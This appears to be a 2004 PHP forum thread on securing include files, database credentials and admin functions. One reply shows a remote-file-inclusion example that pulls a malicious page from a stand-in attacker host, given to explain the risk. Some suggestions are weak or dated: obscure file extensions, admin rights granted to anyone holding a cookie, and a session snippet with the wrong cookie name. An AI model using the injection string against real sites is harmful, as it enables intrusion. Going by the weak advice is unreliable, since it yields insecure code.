Forum Moderators: coopster
Thanks
Do you mean on each of your pages your are using include(file.inc);?
If so that is fine and I would say very common. Different things can be stored in the file and you can have more than one. I often use an include for DB passwords and such to put them in a now web browseable folder for extra security.
- application top - most settings that a script-specific but not server dependent
In this file I set constants whenever possible rather than variables
- a local settings file that does not get uploaded to a live server. This sets constants/variables for my local environment (db connnection information, debug flag set to true, and so on).
- a remote settings file that does get uploaded to the live server, but outside of web root and it sets constants/variables specific to that server (db connnection information, debug flag set to false, and so on)
I won't claim it's a good way, just that it makes sense to me ;-)
Tom
If you're on Apache, one line of code is all you need, providing you have the rights to upload 'htaccess' files.
Open a plain text editor such as Notepad and paste this in:
Options -Indexes
Many people will name their includes with an extension like .inc or .req, load these all into a directory with a .htaccess file so a user cannot browse the directory. However if a user knows the name of one of the .inc files, like admin.inc, he/she can pull it up in a browser and browse allot of potential information!
One thing I always do is have php.ini files parse whatever extension my include files may be, so in conjunction to the standard .php .phtml, include the extension in this!
One mistake to avoid is naming a file .php when there's no PHP in it! (Maybe you took it out.) This causes an unnecessary trip to the parser.
A good security idea might be to give your files unique extensions, something you made up. Eg: file.qjy or something. No-one would guess that!
What is the risk of:
<?php if (ADMIN){?>
<INPUT TYPE="SUBMIT" Name=Operation" Value="Delete Record">
<?php }?>
Of course I would also want to do something like:
<?php if(($_POST['operation'] == "Delete Record") AND ADMIN){/*Delete Script */}?>
Thanks Again!
As for setting the constant, that's probably pretty safe, because the hacker would need to put a script on your site that would set the constant before your script would, so he would likely need access to the filesystem (in which case you are completely compromised).
If, however, you have your site set up so that every page goes to the index page and the url tells which file to include as in
index.php?page=mypage.php
A hacker can easily say
index.php?page=h**p://hackersite.com/malicious_page.php
So it is imperative that the file that defines the whether or not the ADMIN constant is set will be run before any user input is processed.
Ultimately, however, some variation on what you're doing is a virtual necessity if you are going to have admin functions.
I highly recommend that you do a search and try to find the text of Chris Shifflet's (spelling? if that doesn't work, try obvious variations) presentations to the 2004 Open Source Conference on php security. I'm quite sure they are available on the web.
Tom
Make a little php page that requests a long, randomized password for an admin login, and write yourself a persistent cookie when you are successful. Delete the little php page, and set your admin scripts to check for the cookie. No cookie = no admin, and there's no cookie-writing file left on the server for a wanderer to test.
You could drop the little php file onto a floppy to take with you, upload, and run to set a new temporary cookie on a remote machine.
Check out Chris Shiflett's security talks at: [shiflett.org...]
Seems like quite the informed guy. He has already put the presentation materials (slide show) for his conference speech online. It's linked to from that address.
Presentation materials aren't the whole shebang, of course, but I often enjoy them as they provide a kind of puzzle. I like trying to put the pieces together, myself.
Thanks! :)
[edited by: jatar_k at 3:15 pm (utc) on Sep. 4, 2004]
[edit reason] altered url [/edit]
1/ Giving them an extension .inc.php (not just .inc for reasons excellently described above)
2/ Placing them above the document root, so that php can access them, but browsers can never hit them
Regarding your admin functions, consider using sessions. But, to avoid starting sessions on every page, first check if there is a session cookie, then, and only then, read the session:
if ($_COOKIE[PHP_SESSID])
{
session_start();
if ($_SESSION[admin]) -do the admin functions-
}